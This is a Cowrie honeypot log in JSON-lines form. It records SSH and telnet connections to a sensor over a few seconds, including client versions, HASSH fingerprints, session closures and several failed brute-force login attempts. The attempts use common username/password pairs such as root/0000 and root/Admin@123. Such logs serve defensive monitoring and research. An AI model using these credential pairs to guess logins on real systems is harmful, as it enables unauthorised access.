{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:01:20.799465Z","src_ip":"91.92.42.133","session":"03028a7673df","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":33294,"dst_ip":"159.203.135.109","dst_port":22,"session":"605251fc9912","protocol":"ssh","message":"New connection: 91.92.40.171:33294 (159.203.135.109:22) [session: 605251fc9912]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:01:20.855958Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:01:20.969369Z","src_ip":"91.92.40.171","session":"605251fc9912","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:01:20.974067Z","src_ip":"91.92.40.171","session":"605251fc9912","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"0000","message":"login attempt [root/0000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:01:21.560636Z","src_ip":"91.92.40.171","session":"605251fc9912","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.9","message":"Connection lost after 10.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:01:22.353486Z","src_ip":"91.92.40.171","session":"81adefcbff74","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:01:22.727807Z","src_ip":"91.92.40.171","session":"605251fc9912","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":59792,"dst_ip":"159.203.135.109","dst_port":22,"session":"dff774a1eda1","protocol":"ssh","message":"New connection: 91.92.42.133:59792 (159.203.135.109:22) [session: dff774a1eda1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:01:26.322162Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:01:26.743541Z","src_ip":"91.92.42.133","session":"dff774a1eda1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:01:26.746801Z","src_ip":"91.92.42.133","session":"dff774a1eda1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rdpuser","password":"123456789","message":"login attempt [rdpuser/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:01:27.393288Z","src_ip":"91.92.42.133","session":"dff774a1eda1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":48534,"dst_ip":"159.203.135.109","dst_port":22,"session":"bc4ef4376588","protocol":"ssh","message":"New connection: 91.92.40.171:48534 (159.203.135.109:22) [session: bc4ef4376588]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:01:28.388652Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:01:28.424473Z","src_ip":"91.92.40.171","session":"bc4ef4376588","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:01:28.517999Z","src_ip":"91.92.42.133","session":"dff774a1eda1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:01:29.437080Z","src_ip":"91.92.40.171","session":"bc4ef4376588","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.90008234977722,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:01:33.493839Z","src_ip":"172.81.62.90","session":"1377ee60da08","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin@123","message":"login attempt [root/Admin@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:01:33.569572Z","src_ip":"91.92.40.171","session":"bc4ef4376588","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":48562,"dst_ip":"159.203.135.109","dst_port":22,"session":"a604d872c614","protocol":"ssh","message":"New connection: 91.92.40.171:48562 (159.203.135.109:22) [session: a604d872c614]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:01:34.301200Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:01:34.328577Z","src_ip":"91.92.40.171","session":"a604d872c614","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"61.76.112.4","src_port":57431,"dst_ip":"159.203.135.109","dst_port":22,"session":"f048052231c6","protocol":"ssh","message":"New connection: 61.76.112.4:57431 (159.203.135.109:22) [session: f048052231c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:01:34.442806Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:01:34.447264Z","src_ip":"61.76.112.4","session":"f048052231c6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":59906,"dst_ip":"159.203.135.109","dst_port":22,"session":"c637747cb73b","protocol":"ssh","message":"New connection: 91.92.42.133:59906 (159.203.135.109:22) [session: c637747cb73b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:01:34.584686Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:01:34.636428Z","src_ip":"91.92.42.133","session":"c637747cb73b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:01:34.646602Z","src_ip":"61.76.112.4","session":"f048052231c6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:01:34.690958Z","src_ip":"91.92.42.133","session":"c637747cb73b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"labuser","password":"p@ssw0rd","message":"login attempt [labuser/p@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:01:35.017136Z","src_ip":"91.92.42.133","session":"c637747cb73b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:01:35.353765Z","src_ip":"91.92.40.171","session":"a604d872c614","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"template","password":"123456","message":"login attempt [template/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:01:35.471455Z","src_ip":"61.76.112.4","session":"f048052231c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.3","message":"Connection lost after 7.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:01:35.674069Z","src_ip":"91.92.40.171","session":"bc4ef4376588","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:01:36.475174Z","src_ip":"91.92.42.133","session":"c637747cb73b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:01:36.677391Z","src_ip":"61.76.112.4","session":"f048052231c6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"newuser","password":"123","message":"login attempt [newuser/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:01:39.568850Z","src_ip":"91.92.40.171","session":"a604d872c614","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":36104,"dst_ip":"159.203.135.109","dst_port":22,"session":"dbe74e96b510","protocol":"ssh","message":"New connection: 91.92.40.171:36104 (159.203.135.109:22) [session: dbe74e96b510]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:01:40.223185Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:01:40.243884Z","src_ip":"91.92.40.171","session":"dbe74e96b510","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":38498,"dst_ip":"159.203.135.109","dst_port":22,"session":"1cd664f46ce7","protocol":"ssh","message":"New connection: 91.92.42.133:38498 (159.203.135.109:22) [session: 1cd664f46ce7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:01:41.157117Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:01:41.407462Z","src_ip":"91.92.40.171","session":"dbe74e96b510","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:01:41.465255Z","src_ip":"91.92.42.133","session":"1cd664f46ce7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:01:41.471167Z","src_ip":"91.92.42.133","session":"1cd664f46ce7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.4","message":"Connection lost after 7.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:01:41.734615Z","src_ip":"91.92.40.171","session":"a604d872c614","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sftpuser","password":"123","message":"login attempt [sftpuser/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:01:43.607341Z","src_ip":"91.92.42.133","session":"1cd664f46ce7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.6","message":"Connection lost after 3.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:01:44.733075Z","src_ip":"91.92.42.133","session":"1cd664f46ce7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":40404,"dst_ip":"159.203.135.109","dst_port":22,"session":"82b40a83d6bb","protocol":"ssh","message":"New connection: 91.92.40.171:40404 (159.203.135.109:22) [session: 82b40a83d6bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:01:46.738909Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:01:46.750779Z","src_ip":"91.92.40.171","session":"82b40a83d6bb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"node","password":"123456","message":"login attempt [node/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:01:46.789120Z","src_ip":"91.92.40.171","session":"dbe74e96b510","protocol":"ssh"}
